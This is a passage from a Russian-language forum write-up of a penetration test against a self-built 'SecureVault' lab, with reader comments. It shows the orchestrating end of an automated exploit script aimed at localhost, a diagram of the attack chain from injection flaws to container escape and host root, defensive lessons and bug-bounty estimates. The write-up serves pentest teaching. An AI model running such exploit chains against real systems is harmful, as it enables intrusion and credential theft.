                print(result["content"])
                return True
        print(f"[-] Ответ сервера на Шаге 6: {response.status_code} {response.text}")
        return False


    def run_full_exploit(self):
        """Запуск полной цепочки эксплойтов"""
        print("=" * 60)
        print("SecureVault Enterprise - Automated Exploit Chain")
        print("=" * 60)


        steps = [
            self.step1_ldap_injection,
            self.step2_command_injection,
            self.step3_get_jwt_token,
            self.step4_mass_assignment,
            self.step5_race_condition,
            self.step6_ssti_rce,
        ]


        for i, step in enumerate(steps, 1):
            try:
                if step():
                    print(f"[✓] Шаг {i} выполнен успешно\n")
                else:
                    print(f"[✗] Шаг {i} неудачен\n")
                    break
                time.sleep(1)
            except Exception as e:
                print(f"[✗] Ошибка на шаге {i}: {e}\n")
                break


        print("=" * 60)
        print("Эксплойт завершён!")




if __name__ == "__main__":
    exploit = SecureVaultExploit("http://localhost")
    exploit.run_full_exploit()


Ее полный результат:

1759066102081.png

Анатомия успешной цепочки атак​

Теперь, когда мы прошли весь путь от начальной разведки до полного контроля над системой, важно проанализировать ключевые факторы успеха.

Архитектура уязвимостей​

┌──────────────────────────────────────┐

│ OSINT & Information Disclosure │ (GitHub, Slack Logs)

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ Command Injection in Document Parser│ (Initial Foothold as root in a container)

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ LDAP Injection in Main Web App │ (Extract Admin Credentials)

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ Authentication via JWT │ (Login to Web App as Admin)

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ Mass Assignment in User Profile │ (Privilege Escalation within App to "super_admin")

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ Race Condition in "Blockchain" │ (Compromise Data Integrity)

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ SSTI → RCE in Main Web App │ (Code Execution as 'appuser')

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ Docker Privilege Escalation │ (Misconfigured Sudo -> Escape to Host)

└────────────────────┬─────────────────┘





┌──────────────────────────────────────┐

│ COMPLETE ROOT ACCESS │ (Full control over Host System)

└──────────────────────────────────────┘​

Ключевые моменты нашей цепочки:​


1. OSINT + Info Leakage: Дали нам понимание архитектуры и учетные данные.
2. LDAP Injection: Позволила подтвердить пароль администратора.
3. Command Injection: Дала нам первую точку входа (RCE), доказав, что система пробиваема.
4. Mass Assignment: Повысила наши привилегии внутри приложения.
5. Race Condition: Скомпрометировала целостность их главной "фичи" — блокчейна.
6. SSTI: Дала нам вторую, более важную точку входа (RCE) в основном приложении.
7. Docker Privesc: Стала финальным шагом, который позволил выйти за пределы контейнера и получить полный контроль над хостом.

XXE-вектор, который я изначально предполагал, оказался запатчен, но это лишь привело к открытию более серьезной уязвимости — Command Injection.

Критические точки отказа​

Безопасность этой системы рухнула не из-за одной ошибки, а из-за каскада проблем на разных уровнях:

* Уровень 1 - Человеческий фактор и гигиена:
* Секреты (пароли, учетные данные) в логах.
* Webhook'и и другая служебная информация в публичных репозиториях.
* Слабые пароли для гостевых учетных записей.

* Уровень 2 - Валидация пользовательского ввода:
* Command Injection через имена файлов (полное отсутствие санитизации).
* LDAP Injection в поисковых запросах.
* SSTI в пользовательских шаблонах отчетов.

* Уровень 3 - Логика и авторизация:
* Mass Assignment без белого списка разрешенных полей.
* Race Condition из-за отсутствия атомарных операций при работе с базой данных.

* Уровень 4 - Ошибки конфигурации инфраструктуры (DevOps):
* Небезопасные права sudo для пользователя в Docker-контейнере.
* Проброс Docker-сокета в контейнер без должной изоляции.
* Запуск сервисов как document-parser с избыточными root привилегиями.

Экономика Bug Bounty​

Стоимость каждой уязвимости отдельно (приблизительно):
  • Information Disclosure: $500 - $1,500
  • LDAP Injection: $3,000 - $7,000
  • Mass Assignment: $1,500 - $3,000
  • Race Condition: $2,000 - $4,000
  • Command Injection (RCE): $5,000 - $15,000
  • SSTI (RCE): $10,000 - $25,000
  • Privilege Escalation (Container Escape): $15,000 - $50,000

Как полноценная цепочка атак, ведущая к полному компромиссу хоста, такая находка претендует на максимальную выплату, в данном случае $45,000 - $50,000. Это наглядно показывает, почему защита в глубину (defense in depth) так важна: одна ошибка может быть некритичной, но несколько ошибок вместе создают путь к полному провалу.

Мои выводы: уроки современного пентестинга​

Психология цепочки атак​

Что делает такие атаки эффективными — их поэтапная природа. Каждый этап даёт информацию для следующего:

Эффект снежного кома:
  • Публичная информация → внутренняя архитектура
  • Архитектура → credentials и секреты
  • Credentials → повышение привилегий
  • Привилегии → полный контроль

Практические советы для пентестеров​

Что сделало атаку успешной:
  1. Methodology over tools: Никаких сложных 0-day. Всё на методологии и понимании систем.
  2. Information leverage: Каждый кусочек информации использовался для следующего этапа.
  3. Parallel exploration: Одновременное исследование нескольких векторов увеличило шансы.
  4. Context awareness: Понимание что это "блокчейн стартап" помогло найти разрыв между маркетингом и реальностью.
  5. Persistence through privilege: Получив admin права, исследование стало проще.

Метауроки для индустрии​

Для стартапов: Громкие tech заявления не заменят базовую безопасность. Инвесторы\Пентестеры это рано или поздно обнаружат.
Для bug bounty hunters: Не останавливайтесь на первой находке. Biggest payouts получают те, кто строит цепочки атак.
Для InfoSec: Defense in depth работает только когда каждый слой реально защищает. Слабые слои хуже отсутствия — создают ложную безопасность.

На этом, пожалуй, всё! Если вы дочитали до конца, я вам искренне благодарен. Надеюсь, эта история не только показала вам набор крутых техник, но и помогла хоть чуточку разнообразить мышление.

Мы вместе прошли этот путь: от первого curl, который вернул ошибку, до финальной команды, которая вытащила /etc/shadow с хоста. Мы видели, как не работают очевидные эксплойты, как одна опечатка в .ldif файле ломает всю систему, и как одна неправильная строчка в sudoers открывает путь к полному захвату. Это и есть настоящий пентестинг — не магия, а методичное исследование, терпение и постоянная отладка.

Главный урок, который вынес мой знакомый (и я вместе с ним), прост: никакие "блокчейны" и "AI" не заменят фундаментальную безопасность. Одна утечка в логах может оказаться важнее, чем самая сложная криптография.

Теперь у вас есть не просто статья, а полностью рабочая среда. Экспериментируйте. Попробуйте найти другие уязвимости. Напишите свои инструменты. Ведь лучший способ научиться строить неприступные крепости — это понять, как их разрушать до основания.

Спасибо за ваше время и удачной охоты! 🛡️
 

Вложения

  • securevault-lab.zip
    92.5 КБ · Просмотры: 15
Тяжело читается, но желаю успехов, больше статьей, глядишь и руку набьешь, а так мне чтиво далось не легко.
спасибо за критику, да, такой формат впервые пробую, много деталей, обычно краткие пишу
 
спасибо за критику, да, такой формат впервые пробую, много деталей, обычно краткие пишу
статья бомбическая просто! именно в таком духе давно ждал статью, чтобы без "трюков", а силой методологии именно! браво!
 
спасибо за критику, да, такой формат впервые пробую, много деталей, обычно краткие пишу
критиков много. И целей у них - тоже.
Солидная статья - это ..это уровень профи. Это база, фундамент.
То что перечитывается со временем, что дает понимание механики работы и вектор - как двигаться к цели, какой ценой что достается и как важна эта целеустремленность.
Все отлично (имхо).
 
критиков много. И целей у них - тоже.
Солидная статья - это ..это уровень профи. Это база, фундамент.
То что перечитывается со временем, что дает понимание механики работы и вектор - как двигаться к цели, какой ценой что достается и как важна эта целеустремленность.
Все отлично (имхо).
наоборот, критика это хорошо, я всегда пытаюсь улучшить качество статьей. Пусть это и не моя работа или основной заработок, но в глубине души хочется чтобы люди извлекли максимальную выгоду и полезность чтива.

рад что понравилась статья, старался не зря)
 
Надеюсь, эта история не только показала вам набор крутых техник,
наоборот, критика это хорошо, я всегда пытаюсь улучшить качество статьей.
"критика" выше -это не о качестве статьи) а о клиповом тг-мышлении масс. У которых основная цель урвать по-быстрому, а не копаться кропотливо месяцами в эксплойтах.
Ты, конечно, решил обойти острые углы, так не удивляйся, что ж так мало отзывов=)
во-первых, статья как ледокол, идет первой.
во-вторых, нужно время
и в-третьих, кто-то уже стукнул в личку (тебе или другим) с просьбой написать парсер уязвимых систем.

Единственное, что лично меня смутило -
В реальном сценарии пароли обычно захешированы или не возвращаются в ответе. Тогда можно использовать blind LDAP injection для извлечения данных символ за символом.
раскрутка LDAP инжекта посимвольно при достаточно мощном хеше на практике может ничего не дать, не так ли?
 
Статья с хорошим балансом теории, практики и выводов — читается на одном дыхании. Отличный материал, браво!​
 
раскрутка LDAP инжекта посимвольно при достаточно мощном хеше на практике может ничего не дать, не так ли?
без сомнений, все может быть. Это один лишь способов, через которых получилось удачно раскрутить пасс


Статья с хорошим балансом теории, практики и выводов — читается на одном дыхании. Отличный материал, браво!
🤝
 
Достаточно интересная статья , читается отлично, но ввиду нехватки некоторых знаний, иногда было не понятно.
А кейс и в правду очень интересный, и наглядно показывает, что скрывается за "КРИПТОБЛОКЧЕЙНЗАЩИТА", и что нужно быть внимательным при выборе сервисов
Спасибо🤝
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх